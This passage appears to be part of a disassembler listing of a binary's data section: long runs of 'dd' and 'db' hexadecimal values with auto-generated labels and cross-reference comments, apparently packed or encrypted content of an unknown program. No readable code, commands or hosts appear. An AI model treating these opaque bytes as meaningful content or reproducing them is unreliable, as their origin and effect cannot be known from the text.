4EDDC440h, 0F610AF60h, 9CAD8A77h dd 0E3C1007Ch, 12E2005h, 0D83C0E2Ah, 1C04304Fh, 0C00348Eh dd 5082AAF3h, 17C1A5Ch, 4311FF5Ch, 0B300ECEDh, 0A801CC5Ah dd 74F31D20h, 39802BEEh, 23889C19h, 73006917h, 878EE154h dd 0F3EF7h, 93145DD5h, 8D0EAC4Dh, 0C2007CE8h, 7AC12412h dd 0B246A786h, 421A2070h, 0F505B898h, 714A8A7Ch, 40FA8031h dd 603D0CFh, 4E62C94h, 86C24AFh, 0A428B236h, 0C1B55F0Fh dd 0D8C5ABD7h, 2196E4F0h, 0F3018D67h, 40C7E4B6h, 75395822h dd 72C4B4D8h, 3452ABBCh, 694D4E0h, 84DE86Ch, 992070CAh dd 44195AB0h, 4C3DA00h, 98F051EEh, 0CC56409Bh, 26AD621Eh dd 2976AFC7h, 0A4181400h, 5185784Dh, 0FC300801h, 80589E34h dd 366B5B67h, 0F50045B5h, 0FE4B01E8h, 0AD59402h, 0EBFFDE8Eh dd 26BC68FCh, 0DE606FE4h, 0CF1A75BBh, 3CC410D0h, 9EEB0B07h dd 384CE8h, 25FA66BDh, 0B4F7F82Bh, 54366700h, 0D16F6927h dd 92070653h, 0E16CDF04h, 60EC10Bh, 0EAC01049h, 3B85805Dh dd 0C0902C4Ch, 0E2B4B335h, 97FB0EE4h, 568083D6h, 64DCA19h dd 9A1D9EE8h, 0F683F445h, 4A4B7F8Dh, 1E181E90h, 3D08A9EEh dd 88B0F3A0h, 603AEB1Fh, 0D145E89Dh, 34C2FCC9h, 577510DAh dd 874D00F5h, 91D5068Fh, 0A80C20DEh, 41A0933Ah, 0B78A208Eh dd 0F09228Ch, 3F97700h, 0CDB54B3Fh, 0A0291265h, 1DEE0048h dd 5BF2F505h, 2FAF0A1Fh, 80737149h, 0AE4F3580h, 8B4D0070h dd 0DFAC011Ah, 0F716EDF5h, 34F06C8Dh, 30DA275Ch, 58DD6890h dd 62E0BC55h, 2F67187Ch, 0DB399h, 46A5FD84h, 0E18D93BEh dd 0C01E492h, 12483A63h, 0EEF8401h, 17761C68h, 4750D7C1h dd 0E3844CBAh, 914F258h, 0C1D2DF03h, 483C9A08h, 0BCFF93C1h dd 0CC48809Eh, 7E856D5Fh, 0EBF70913h, 0B30B0CFEh, 2AE2E822h dd 0E4A20440h, 0E070E881h, 729B4A08h, 60ECAB4h, 2E104BA8h dd 4014195Eh, 1743010Dh, 0A7DD18C4h, 265794C0h, 2B240F74h dd 7009FA4Ch, 27016802h, 0D2B4415Fh, 1D003863h, 0C506041Bh dd 0C125E33h, 3888DB8Dh, 67E22EEDh, 0F4E1372Ch, 62C8B0B8h dd 12D46348h, 0F4370275h, 413C774h, 335D6D4h, 0D177579Bh dd 10B80307h, 0F60EE309h, 853A90C8h, 0D2F1F501h, 82DE93C6h dd 2CD0E6EAh, 5B40B3Dh, 0C0D8E297h, 0D9DB21AEh, 0CD98AE00h dd 488995B5h, 29770704h, 90EE5035h, 980EAB4Dh, 14CCA453h dd 3AF4618Fh, 56B090Fh, 0E8D810AEh, 4198908Ah, 50B06052h dd 0EE394F01h, 67178334h, 0F0188893h, 892A5C88h, 0C26501Ch dd 415A18EFh, 0A455BAFCh, 2571409h, 9050D3ACh, 1D1625BCh dd 0F26B31Dh, 56F31175h, 0CB480AACh, 0D8EA128Ch, 752F8C44h dd 0C6C8E294h, 0B078B060h, 0FA222060h, 7AE95B00h, 702B7707h dd 90F0EEh, 867F75E8h, 6EED8BCDh, 0B406F800h, 0CE0CEA2Eh dd 0BE4891C0h, 5A8AF01h, 247CB38Dh, 0FA139E90h, 5C94C1EBh dd 482EF0A2h, 2206CC0h, 980BFA00h, 0AED463E6h, 1F289AF2h dd 214F8F7h, 0EE4FC875h, 18A68C5Bh, 45300608h, 4C80AC4Ch dd 1B2088h db 9Ah, 0A1h, 93h byte_4E4143 db 0FEh ; DATA XREF: ___:0044482Co dd 5202713h, 1C10752Ch dword_4E414C dd 8D24388h ; DATA XREF: ___:off_443700o dword_4E4150 dd 1202631Ah, 59F26861h, 886A0FACh, 21A2DD22h, 2583F879h ; DATA XREF: ___:00444908o dd 81CA4CDAh, 0D820D5D0h, 0EAA07D4h, 62968769h, 41600207h dd 97606F67h, 0F33EFA11h, 8CF4B0D2h, 8C553AF8h, 0F0440449h dd 7D2709BDh, 900B4093h, 0B9A43C40h, 52F45F04h, 0C4F4AE04h dd 768C0167h, 75199A3Ah, 77DBE3B6h, 0DEFC111Ch, 6528D258h dd 15C8905Ah, 0A4877590h, 67DC3B78h, 0E4C8C4D8h, 3D893010h dd 460CC0E0h, 9297580h, 0D4CCF1DCh, 0D5994820h, 33F97695h dd 5BB52038h, 48C016Fh, 0A645BA8Dh, 0CCC2EC40h, 838518Bh dd 6801FD6Eh, 0F023BD6Ch, 406F4460h, 0B8C4624Fh, 41342E8h dd 8040C38Ch, 47B852Ch, 0B70B7C9Ch, 0C2A809A5h, 44F08948h dd 0C650897Ch, 32018860h, 60B12561h, 0DCAB02h, 4CDED00Dh dd 1ED05C4Dh, 394AE5A4h, 5D00BCD7h, 0C9323826h, 76FC1D8Ch dd 873F8528h, 0B070C4D5h, 962CB5BCh, 410058E5h, 0F6745FF3h dd 6275791Ch, 0DFEDA0A6h, 4FBCDC88h, 1C56B3EBh, 80C75C44h dd 2047812Dh, 0F1846CD0h, 0B814A8Dh, 0C4223D40h, 300CF93h dd 23C6769h, 0FF346D26h, 107EDADEh, 6F758F03h, 0DB7908AFh dd 0F3428867h, 18F885E3h, 73DC8804h, 3D78C501h, 0C22C2C05h dd 0F032FDDh, 1E20894Ah, 80ADD98Dh, 2E947CF3h, 1889C017h dd 5C708163h, 9C23FE3Ah, 0FC043D00h, 42C97B9Ah, 9020A0A8h dd 7545E004h, 0FA0F1E22h, 8A148C96h, 2C3B5C84h, 15F6049h dd 28C6100h, 0EA43419h, 17759B16h, 5E108880h, 81DA6AB4h dd 759583F0h, 20132226h, 5C0130FBh, 1BC9C825h, 19974028h dd 88E070h, 1398DF62h, 4995BACh, 3CA6998h, 3C326704h, 0AF4560E8h dd 1DDC9910h, 32F79420h, 1B10227Ah, 9005B905h, 908D6919h dd 26CA29C8h, 8B60D95Fh, 0E072BC2Ch, 8039373Eh, 1076BF8Fh dd 96F62AF7h, 219C8088h, 368D09A2h, 0EB3003B7h, 0BC8CB818h dd 40C20FDCh, 94E2DD50h, 96E385C0h, 88D47030h, 5595C33h dd 0D757DECh, 0E78C0167h, 7C02CA39h, 3CB67400h, 82F3FC09h dd 5DAE75BCh, 5DFDBC01h, 206C7976h, 40BCAE52h, 40C2E73Fh dd 0A5120402h, 1CF00CD4h, 4E589C76h, 30583369h, 0F9DF0208h dd 4A620906h, 0FC8D40C8h, 0DDE07861h, 208F6E1Ch, 0B5C384F5h dd 7EB04607h, 0D5380681h, 0A98D9F69h, 7C42AA18h, 24525461h dd 0DDB408Fh, 4423694Bh, 3C30D104h, 7B9E44Ch, 2D95F11Ah dd 281EF601h, 0F503FF12h, 26017828h, 20BB35h, 0F21449Fh dd 38328DC0h, 0E67668FBh, 87D44B74h, 1DC0E418h, 1F3742C0h dd 0B6EA60h, 0D28DCD90h, 752AF97Fh, 3E8CFC07h, 5EC09DEDh dd 1CE1A5F6h, 2D9EDD72h, 0D4A0DC7Ah, 6498CB99h, 70C888BEh dd 7076A96Eh, 9451042Ch, 0B915C375h, 0A598C078h, 7CDD0DDCh dd 71E603E5h, 0C0D38607h, 25F6FD98h, 899BFB3Bh, 0C30C73CEh dd 462AE0C0h, 5D855807h, 0EA00A23Bh, 0D66316Dh, 4D0224C2h dd 5CCBFF8Ch, 7904D2F4h, 0F2F53A8Dh, 28121A80h, 317466C9h dd 3B75CA0Ch, 4E3991Eh, 14675E6Ah, 4C8CD161h, 9468004Eh dd 0A46C02A8h, 8E3C8DEEh, 2ABA2F00h, 0B8415110h, 949F90F0h dd 4440A538h, 0E880D958h, 0DEFB0C7Ah, 3510F055h, 0E4047276h dd 0DB34CE7h, 0E25E9CC2h, 4A585920h, 0D490850h, 1CCC9013h dd 44365C04h, 0F048A7C4h, 5E3AF1Ch, 52F2B4A0h, 682AB8B6h dd 7594A82Ch, 795F6741h, 0AEF890D9h, 0E07A7F5h, 45FEB568h dd 3DA8DB70h, 0F32851A2h, 93105F0h, 0B34D5107h, 83B02000h dd 7603FD65h, 2D50AB09h, 7990E7C6h, 544555h, 0ED051C1Dh dd 7D4D8EF0h, 41B7DE25h, 9440BA14h, 2FFA9B18h, 78C06D8Dh dd 6F5868FBh, 11810016h, 7D997CF5h, 0C0CB17F4h, 0FBF4C065h dd 0B07F399Ah db 0B6h, 1Ch word_4E4556 dw 0E92h ; DATA XREF: ___:0044498Co dd 0DF100C80h, 0BCD754C1h, 58CBC11h, 30B90305h, 207D7584h dd 86158B3Ah, 7C9F958Dh, 92B6EE11h, 1065BD8h, 0AA011054h dd 76B45218h, 0F4889CE1h, 10B1BA3Bh, 5C45E813h, 89331E6h dd 1257F38Dh, 611848h, 0CC860594h, 0DC2E3BE0h, 6970CD3h dd 60E25C12h, 6CBC994Ah, 971A0EA4h, 17B9EE6h, 5B70F07h dd 7420574Ch, 6B6541C9h, 6CCED440h, 0E7AD7h, 399DA79Ch dd 2AAA1EE5h, 0C14F0CF8h, 3F0064E6h, 9865390Fh, 0BD02BFA4h dd 0B98DDBD2h, 879C59C5h, 0C7FF9A0Bh, 0C8E44917h, 6364E89Eh dd 402D9CCDh, 0C8D30E19h, 18A04501h, 87D4E8DCh, 5C277624h dd 81AEF742h, 0FFF6F578h, 25170862h, 93F80286h, 8B192B76h dd 6148222Ah, 750CF4C8h, 48C57931h, 2DD9EBh, 51FC9426h dd 8A447CCCh, 0DC26B03Bh, 38FB0D08h, 24C8DA25h, 0E709D563h dd 2F53449h, 542A3813h, 12B4A8D4h, 0C973760Ch, 0D558349Ch dd 0B49BB898h, 368834A4h, 3D7B8012h, 906C95EAh, 0C20CFD18h dd 0B479DD91h, 916D00E0h, 82370F36h, 88945724h, 0FF03B12Ch dd 846E8Bh, 2775DD10h, 91F9244Dh, 0F45FC614h, 0FFD01CCh dd 7FF26C61h, 5C7823h, 82D1E784h, 0F8C825FCh, 9001816Ch dd 0FBB58E58h, 59D98D47h, 0F884EC65h, 1EE89F4Ch, 93026B8Eh dd 8F856h, 67A90AFDh, 28C04878h, 1B2C9258h, 28F6138Dh dd 73ECB1F1h, 58AC3290h, 70BC8675h, 9EED0108h, 0E3E52132h dd 2366DD8Dh, 0C9327838h, 794810F0h, 9CFC1274h, 0F8208D70h dd 0C2AE00C1h, 10C4621h, 8B25A47h, 2C201800h, 0C9314396h dd 13630355h, 41FD75ABh, 4F7B039h, 72A31FD7h, 6402CCC1h dd 98E3EB02h, 3578E8C1h, 6BA02498h, 0E1DC5A4Ch, 0C044DEF5h dd 9825748Ch, 0C8232F50h, 0A061A0A5h, 29C0BB08h, 9A5C80F6h dd 85570653h, 18628DDEh, 0BC886700h, 752FDFD0h, 6170F0FAh dd 658D11BDh, 0C840BECBh, 81C6CB94h, 0DD8F01B8h, 19EBC20h dd 3603AF7h, 4C879D8Dh, 14B0FCACh, 0E48A7E08h, 1FF50FCCh dd 6E20E45Ch, 309304h, 0C626DB48h, 74809555h, 0E11C25E3h dd 0F8D67CCCh, 0F7F600FAh, 0EA7FF3FFh, 0BD49DE74h, 617B130Ch dd 80C41434h, 4ADD44B0h, 2748C0D9h, 0F02676Dh, 21C7D33h dd 0C1C441EAh, 1D46B5C4h, 53031125h, 0EB300496h, 52B109BCh dd 128F420h, 79725406h, 0C1768A4Dh, 1118405h, 13BE568Dh dd 0D404CC24h, 0C2F294A8h, 0B18D8083h, 3E28C9F7h, 3F046853h dd 98B84A28h, 40C01D27h, 38DCFA07h, 0ACDEF9CFh, 12665840h dd 43128A77h, 4805B560h, 0E18020h, 0E3F72F0Bh, 0E675B712h dd 0EDF93Eh, 6AB5CA16h, 7627D56Ch, 1CE760F6h, 47897B1h dd 0FB854707h db 0CCh, 89h, 0C1h byte_4E4843 db 9Ah ; DATA XREF: ___:00444AFCo ; ___:00444B3Co ... dd 0E220277Fh, 70B4011Dh, 0DE8A34ECh, 7CC8EEFAh, 0E700F58Bh dd 11A951B8h, 4CEB5463h, 2978CD1h, 0A69CDD74h, 94FA474h dd 9ACD0F0h, 0F5F88A85h, 0F108B4F1h, 5E9D0155h, 0DC8FEBBBh dd 0DE781ADBh, 1A6E1E26h, 0E79AD51Eh, 0BF54C169h, 0B7CDD10h dd 0EB427494h, 64E840D4h, 0D81081A7h, 3489275h, 26A109A4h dd 80304A16h, 0C84B390h, 2CC27081h, 89C4450Dh, 245A145Bh dd 0BFB80497h, 0E1F6C024h, 43ECACD8h, 5718CB60h, 9718FF92h dd 0D8D22886h, 0B1309B58h, 0DFC0C1B3h, 0B0119725h, 17611669h dd 0FC9913h, 52508C40h, 0EA4DE2DDh, 0A3FC48B4h, 367188A0h dd 168D2DFBh, 3206ACE1h, 69D1DED0h, 0AE8D0281h, 1F18225Bh dd 8480D8CCh, 1145C4Dh, 0F5BA2831h, 614CF050h, 57DD10C6h dd 1056D817h, 0F928009Dh, 42CD053Eh, 0DC285FA9h, 1F2E5E01h dd 0E7F7C9E0h, 669D4800h, 2616FCD4h, 90C1FBDDh db 96h, 75h word_4E4946 dw 0F8CAh ; DATA XREF: ___:0044466Co ; ___:00444674o dd 0F9250154h, 0DCB26FB7h, 0C4C8F0E0h, 0CBAE60C0h, 4FD70E8h dd 0D274FE1Eh, 0C470E802h, 2CBC11F6h, 3478DD1Dh, 20D4CB58h dd 0AC8295CAh, 0EAE30118h, 49E5E009h, 9DC09814h, 261D2E5Ch dd 202027A8h, 0B4F628BCh, 75E3DE05h, 60939C51h, 0CDC0FEDh dd 3D859BECh, 265898BEh, 59F82D40h, 0F2107044h, 103F248Ah dd 0C747183Ch, 4DDB910h, 612E5755h, 0EF00AE66h, 0FF84EDA3h dd 146C9E47h, 5F0FACD4h, 5573407h, 0B1B78D34h, 7322C460h dd 0EF81F500h, 0DF0D9325h, 5BB40098h, 0DD67BA86h, 0C492A9E4h dd 422DD43Ah, 36338609h, 4CAEEC64h, 84B10E78h, 0E1DD0C8Bh dd 4233DA4h, 68EF750Ch, 0DD1727E8h, 1028D74Fh, 90389C02h dd 0E8C98C0Eh, 99D162DFh, 75C1FD9Dh, 0C608AC3h, 0B464DCE5h dd 1939A081h, 8F9BFA00h, 30489274h, 6C9C01CCh, 7D354208h dd 1690E070h, 406A108Dh, 57051B3Ch, 0CD2EFF8Bh, 0D20AC412h dd 4345EC20h, 3C1FCC17h, 852418A7h, 0E86C4CB4h, 39C072D6h dd 1794702h, 5594E40Ch, 424838Ch, 141057B0h, 1E95C91Eh dd 0FF960D06h, 96F4098h, 899F9738h, 0FF88321h, 89CDC07Ch dd 9DD5A684h, 2D2FEA00h, 7418E7A3h, 9D687A1Fh, 6AE0E99h dd 0A4F3DF0Bh, 480695B8h, 5FF2F6Fh, 0BD8B0AEh, 0EC020176h dd 649B2420h, 6A58A5D2h, 50E400AAh, 7C4DB4C1h, 86EA18h dd 0A0B0DD21h, 69010D2Fh, 0CC3C8097h, 4B663B5h, 670E6B92h dd 38C0F952h, 0D44DAE8Dh, 0F9969882h, 0F58AE01Dh, 4929007Bh dd 7068D8A1h, 3F05D650h, 83A88D5Eh, 0C9F99493h, 0F087BA52h dd 66D936B5h, 3B0FB0DAh, 929758D0h, 4DD87200h, 0F01EF6D7h dd 0E08A0A7h, 0DE453086h, 3E6C74D8h, 0A45E8CA2h, 0EB188D96h dd 3CF9F869h, 35123605h, 49E8A377h, 0E6980478h, 0D898C98Eh dd 1FC70050h, 3106FB01h, 28005363h, 3865CDD4h, 1740F94h dd 735D68FDh, 0C92B5764h, 0ED07086h, 267A231Dh, 0CE53B44Bh dd 63CF9014h, 0F39D68CCh, 0F6A359E0h, 68D32817h, 8042A499h dd 2640016Eh, 0B929E0C2h, 0FC9110D3h, 102C8AF6h, 20620C89h dd 0FB4BBCC4h, 0F7756880h, 0CF9269Ah, 201E01ACh, 0F76D0119h dd 3FC683Eh, 6CA6927Eh, 8AC1EF0Dh, 3007BA98h, 0D886F613h dd 0E4A19400h, 4D54331Eh, 0D58B2DEAh, 107F2040h, 3E1F7700h dd 0CAEE763Ah, 69F409A7h, 847587h, 29280F41h, 4964006Dh dd 0FE2ED376h, 889C9ABEh, 0FEC54AC4h, 263174FDh, 60B88417h dd 603E0472h, 0E3DF030Ch, 4F8E50D0h, 0D5A883C7h, 0AD012819h dd 0DEF8C5D1h, 4EC35E90h, 88CF72C0h, 7532E7h, 0EE8060D4h dd 0DE854C0Bh, 94A8A061h, 3920695Fh, 5B16FC8Dh, 3B8C204Dh dd 0AC020C44h, 20DE6E55h, 62AC564Eh, 90C8CF8Fh, 0E580FBE0h dd 205E5879h, 0D03FA5C0h, 5133DFDh, 2CE6C249h, 0C0685A70h dd 0DA74C9Ch, 3EA49800h, 0F7FF1503h, 0C0B990DEh, 54075E28h dd 0E9FEA775h, 13556006h, 7A1AA68Dh, 0D3293274h, 3070F789h dd 4EEBF927h, 123F5F04h, 0D33481C0h, 0AB0C034Fh, 0DD4815A8h dd 6604D8C2h, 0C0ECF884h, 103CFB20h, 45B1F90Ch, 376186Ch dd 78017BFDh, 82BD57C5h, 0CC204DACh, 1CF32359h, 3826648Fh dd 0E9E7B50Fh, 0D4701AEBh, 0B8F50713h, 10DCD60Ch, 0F8DF1505h dd 670FD804h, 819E0B0Dh, 7AF594E7h, 6FD8D3ECh, 33DBC89h dd 56F879E8h, 0E9462501h, 5D1C8A63h, 0C61BB100h, 660E8C14h dd 92291FE5h, 91C1AC00h, 0C1049075h, 11CC6EF1h, 0CF42CDFh dd 4054E68Dh, 0F34C1DB7h, 93698077h, 23DE358Bh, 9FE0F503h dd 0E004CED7h, 0B5D876Bh, 0B38DE36Dh, 0DAC08440h, 0DE6C5CE8h dd 5F6C8ECh, 11A4839h, 0B53497C1h, 60CEC7Bh, 0F19DEFAh dd 0E8912728h, 4D75CC81h, 4C58389Bh, 94CB2768h, 67DD1844h dd 8C6A3845h, 642F7226h, 0C9D02502h, 2FA4501Bh, 0FC8BC499h dd 0A3C1051h, 0FCE7F624h, 95830200h, 0F5016EFFh, 0ACF0257Ah dd 0BA360388h, 98A7AB31h, 16373AC2h, 40C98D0Dh, 0FEF13DA0h dd 1F25F6FAh, 75548105h, 0EC79CAB0h, 470CF300h, 0B89F016Dh dd 22A288C1h, 80C61FCAh, 2A55BBA4h, 6B2800CDh, 26FB7566h dd 887AAA19h, 0D671930Fh, 0B013F97h, 0A1202973h, 90D98BF0h dd 0F534095Ah, 30E8030Fh, 8CBE36DDh, 5EFF7600h, 17EAE9E8h dd 0A1DBF774h, 2F46C08h, 0EFBA460Ch, 3FC68F0h, 0CD0B163Fh dd 2D18A2B3h, 0AB749031h, 42BB2F0Eh, 73757CB0h, 0FB706F62h dd 0D5A8EA13h, 0DC04E961h, 40C05141h, 0BFB6EBDh, 0EF652601h dd 27028808h, 0FD002CACh, 0F145BAF9h, 30C700E9h, 0ABBF98E2h dd 484C8D35h, 0F79AA110h, 1C39DF1h, 1E7FAD10h, 2BC10577h dd 19F634E4h, 16AE5D69h, 64033BF5h, 1C12C7DEh, 7A736D40h dd 78B3F47Bh, 5D8B07BFh, 799E33C4h, 0B5753007h, 9A9800E1h dd 257C8593h, 1B1D3D25h, 2AACD78h, 0E9C4DD98h, 6F877474h dd 85A033FBh, 307598DBh, 2E8401Eh, 94BCE5Eh, 20DD6888h dd 834A4528h, 0D594B4C0h, 30055E86h, 0E8DEA630h, 0E4D0525Bh dd 0B29D298Ah, 4A252478h, 12054160h, 6C187191h, 0DC2E754h dd 0BF3C5499h, 376C985Fh, 0BC28886Eh, 841D1493h, 0F0013C90h dd 5FA39E64h, 334DC47Ah, 2A2404E2h, 770FE5C9h, 0C607800Dh dd 7FD44792h, 0CBAB001Dh, 0E3BE0E25h, 650078FDh, 0A05F59AFh dd 4FD0AAh, 0EF25D3CEh, 534427C4h, 785940C1h, 28808D61h dd 75FF19FBh, 97CA747h, 188B1A30h, 0F02503C9h, 10A16787h dd 993346E2h, 79003575h, 9453258Eh, 38B96A1Ah, 780C077Bh dd 0CD30636Fh, 0D625F32Dh, 7A103058h, 2E60109Fh, 0A63BD080h db 8, 3 word_4E4F4E dw 33D5h ; DATA XREF: ___:00444CDCo dd 53CAAC46h, 45AABC0h, 58301AF8h, 974850D1h, 25CE037Ah dd 4543FCE8h, 9E184867h, 3E33A1BCh, 8B145A0Bh, 3001104Fh dd 0E41A93A0h, 0C6489DCFh, 96D647C0h, 7B3DA3Dh, 0E77299F3h dd 15FB8004h, 62055489h, 0CE6A70EDh, 63D89014h, 18C15F08h dd 71C4FB68h, 0CF831251h, 43834847h, 312838C0h, 9E5C2103h dd 62C1FF9Dh, 0FBE0427Bh, 0F0035CAEh, 3D89E138h, 0D86080BDh dd 0E695E347h, 0F11E007Bh, 0D97F70DFh, 1A18D544h, 5CF130BBh dd 0C0A07564h, 0E06A8248h, 7626CA0Ch, 428EAD5h, 57446318h dd 9EB320h, 5916A479h, 0C6AB1910h, 28EA4A7Ch, 30002092h dd 2CD74847h, 3FFEE45Fh, 0A98A386Eh, 0CC01BCEh, 0AD28780Ch dd 38A0B00h, 19126071h, 0A8BC5070h, 24A6F418h, 284015D4h dd 0ACE11230h, 4E4400FBh, 5AA170E3h, 14D6E0C8h, 0A844C0C8h dd 627A0991h, 0C1002DDh, 54326D84h, 808840C3h, 0F34F8A14h dd 9B4303EDh, 2939230h, 0B03EEED0h, 0F857F73Ah, 0A8757A0Ch dd 48A330CAh, 633848B3h, 0B45813B0h, 47754BC6h, 32334501h dd 0E39243E9h, 40F3AC43h, 3464AFC8h, 1030B70Bh, 20F4C14h dd 0E3C05A84h, 3B64E4F1h, 42184360h, 788586Bh, 12475B80h dd 1D3437Fh, 69F70388h, 6840F968h, 0B980D11Ch, 7D15FC5Ah dd 0B8160F10h, 3D0A6930h, 0B1700F08h, 64E2F878h, 68F1FB30h dd 0F92C8C0h, 272B2846h, 0E72E4460h, 487BBA01h, 0F2DA6418h dd 2488A828h, 14C44572h, 5200DC5Ah, 2D14FC63h, 290C32B7h dd 60F48170h, 0B6360086h, 2B72C939h, 16B096C8h, 3B2E4200h dd 6DE4523h, 3C9EF801h, 9D06C256h, 68FA2764h, 8B7B802Ch dd 0AE4E215h, 0A4F8D81Ah, 0C78F10Eh, 57918C6h, 93BC3D8Fh dd 0DEA801EAh, 2480BA1Ah, 693EE080h, 0F2170156h, 1DD7302h dd 40080842h, 4C829428h, 54C45485h, 0A3B88121h, 75688820h dd 1AD104BCh, 0C85490CCh, 0B20761A0h, 27B5DACh, 0E357D600h dd 18D87CF3h, 0A8DB8A19h, 0A63A33CEh, 9384C9Dh, 21B3971Ah dd 3A7DB04h, 24A84034h, 4B444BC8h, 1F2AEE05h, 0A0704680h dd 0B82099B3h, 43790022h, 24FB7E89h, 1602D1AFh, 7164C1B1h dd 0AE28612Dh, 3006D801h, 9E017AC8h, 64FF6002h, 58A01725h dd 0E532008h, 0FCFE9F24h, 0A623D080h, 0FDCE49h, 95C88D71h dd 58EBB05Dh, 3611FB03h, 0E0DE6CD0h, 1CFDC775h, 9864E84Ah dd 70BF485Eh, 7633600h, 4D95F25Ah, 75370081h, 1053FFA0h dd 78753FD6h, 48587949h, 65D805D8h, 0C0208781h, 60FE05DEh dd 18AB88C2h, 80AE19Eh, 80387829h, 0C2C4CCA4h, 811A0CC0h dd 0CCAA25h, 0DD3A4EB4h, 3D7C26A4h, 7688E088h, 47C1A47h dd 0EDFD10C0h, 0A91EE7E3h, 1F61484h, 939A9570h, 281EE090h dd 8DBA2B03h, 82601330h, 80132Dh, 4C96C165h, 0E1E5F0D7h dd 0EC83EA48h, 98103BCEh, 9007FA0h, 4EC36687h, 4200822Fh dd 2A715461h, 0B06852h, 871F28CAh, 0F56A9BADh, 0E00002EEh dd 0E9660871h, 0E690109h, 0F142A4FAh, 9AAF1440h, 86003D39h dd 0A7730D80h, 739D7048h, 20C40182h, 4605061h, 1A26ECA9h dd 4FD5C8A0h, 78F5E305h, 0A40118E7h, 2BCE3CC4h, 0E0B7A89Fh dd 7976C800h, 0A36045E7h, 0A703125h, 0D48CFC41h, 28C01026h dd 0B3F25D9Eh, 14D813E5h, 434E0CABh, 0F83BA8C0h, 2890485Fh dd 0E5519CFAh, 0EB0940A4h, 9314F1BCh, 6A4409Dh, 0E968706Bh dd 90C4F820h, 0C48BE808h, 0D8AE18h, 26986EE0h, 2F81E61h dd 8061486h, 0C238823Fh, 2D0C0E13h, 36020FCh, 0C6C01100h dd 0B42288F8h, 0C69867h, 0F4B26882h, 64E0EC16h, 853E45E4h dd 6E581DBDh, 355EC801h, 0FC60A90Dh db 0FCh byte_4E5345 db 5, 44h, 0A1h ; DATA XREF: ___:004447F8o ; ___:00444D44o dd 0FA54C1h, 1BBD8190h, 0B6E4FB1Ch, 0E4CD0802h, 0C6582BE1h dd 7CECA9B0h, 34955C70h, 88B8FEB3h, 0A048B2F4h, 0D608078h dd 0C0735819h, 3A56FB10h, 0B737C5F7h, 526220E1h, 2E0C69B3h dd 0C1B404FEh, 92D08A4Ch, 88323EE9h, 309C420Bh, 301A8A84h dd 44205EC9h, 1501A19Bh, 5A34F0DAh, 6C607002h, 1C782481h dd 902848B0h, 78D22416h, 25DBB501h, 8820A7D6h, 0C19484Ah dd 5269DD0Eh, 82A13B60h, 8B007B83h, 0B0FA17F4h, 0CEFEE8h dd 5169DA50h, 2CD6AC59h, 28B0795Ch, 849ABCF9h, 0B4009091h dd 45917ED0h, 0CCF79D4h, 0EDA870C1h, 9B009CC8h, 3CDBACAEh dd 0C0EE421Dh, 89E34CA6h, 0FB007C02h, 9CA00EFCh, 30705E79h dd 0EE38550Bh, 6064CD64h, 0B240AE68h, 42FC80D0h, 0A0C674A0h dd 0A0B8477Ah, 25E3CD0Bh, 91C89054h, 40230348h, 4A88A337h dd 0A16282E0h, 0FB034F77h, 0F8C902E0h, 52C0DF44h, 29C9705h dd 197260F5h, 0F860F033h, 0C090D6E3h, 88ADE124h, 0A9EC7884h dd 702784D0h, 18A86471h, 6538D1AAh, 0C2B0446Ch, 7468FEF4h dd 0C424E1ABh, 5F9B3482h, 0A4EB28h, 42B3FB10h, 255C78BDh dd 0C60DE4A5h, 0E402E04Ch, 2F4509Eh, 85F722C3h, 5862AD14h dd 0CBB1F040h, 70ABF506h, 3D58DD42h, 24F86238h, 8548C77Eh dd 167DD8F4h, 783803EDh, 0C801F00Ah, 0E171D12Fh, 57CC9F8Ch dd 70CC0C1Ch, 68B1F864h, 78F3B406h, 90A0283Ah, 6BC4B058h dd 7C0A217Ah, 0FCAF03D4h, 2298CF17h, 132CFEEEh, 0C200B8F1h dd 6309F58Ch, 0D8E16164h, 0AC7CAE1Ah, 2593BCE1h, 9203F80Eh dd 95E6B020h, 1384A449h, 5A508A70h, 0B4C0C138h, 0A0815A58h dd 70AD8834h, 99556AE1h, 922C2678h, 0A5E04F03h, 34999109h dd 0B530511Bh, 6FE001ACh, 0A07DF822h, 6A1A8BBCh, 4F4A684h dd 0C27B0B60h, 50C0C510h, 0F45D9078h, 0E0905168h, 98C00CCDh dd 2F6A8B48h, 82013E2Dh, 78A21E1Ah, 703D6C6Ch, 0E17861C3h dd 0D1814864h, 0CED699Ah, 6C8470B8h, 23163201h, 11551A96h dd 3C781834h, 0CDD2B64h, 3CDD8000h, 41831832h, 6DE1AC09h dd 0F76C9989h, 301E043h, 0FF325B80h, 0D88564A0h, 0C0A0C360h dd 0FD501BD8h, 0C8A42C50h, 2F48D26Bh, 0D018B68Ch, 3064E7F1h dd 0AD3051ACh, 53000F9Ch, 623566AFh, 5CD8F8A5h, 0A451F53Ch dd 0CD12F427h, 0DAFCD803h, 0F78890Bh, 0A4189408h, 0C1D4114h dd 24BAD0DCh, 0F742420h, 0DB9D4F21h, 0D620B834h, 8134713Eh dd 0EA3C65E0h, 0E2FCEDD3h, 7F090CEh, 2F714692h, 0C06C54D9h dd 10FBA905h, 20D4354Ch, 3D8000E8h, 874E4CD9h, 0FA09258Ch dd 80DFB936h, 31EDF8BDh, 1270186Ah, 7284D8CBh, 0E50FDA79h dd 20CA38FBh, 78F6B202h, 50C162F7h, 0E4427CE8h, 0ED007050h dd 86281D34h, 1868329Fh, 28924C75h, 80004697h, 30E3D565h dd 60246477h, 278F8EDh, 0FA30631Fh, 6682107Dh, 402AF00Bh dd 162708F2h, 0E68804E8h, 0B06EE160h, 57010C92h, 58B49FE3h dd 8BF44A7Bh, 0A90004Fh, 91D0F7ADh, 732E1093h, 700F629Dh dd 52387A37h, 0ED781674h, 3E7044CEh, 6F01007Eh, 9BC05DDh dd 7C4CC34Bh, 0D798A007h, 0F4F4CF63h, 5DDA1A82h, 23B54C9h dd 25EB003Dh, 0F82EE1FBh, 0A2423496h, 86A8611Eh, 0AF001C22h dd 829A35CBh, 2D600C1Ah, 0FFF09148h, 0E2E1242Ch, 3DC0474h dd 9DECC0A5h, 1D091942h, 2770C978h, 0CE541E74h, 0BE1A4B0h dd 3B0AB939h, 0F5830500h, 0DC0021EFh, 5B101E0h, 1502F260h dd 0E0AE7557h, 0DB1A9904h, 2C2085EBh, 2D2478A0h, 36806013h dd 0AFF9CA97h, 91613070h, 0FE998528h, 0C57239h, 6B75C834h dd 241A3C47h, 1CCC37C3h, 49140163h, 7048EBAFh, 3807AE74h dd 8802E74Eh, 8043C85h, 7CC1C2AFh, 0C822257Ch, 5A64E804h dd 0FC821307h, 399C499Eh, 0E2F10035h, 0E400D821h, 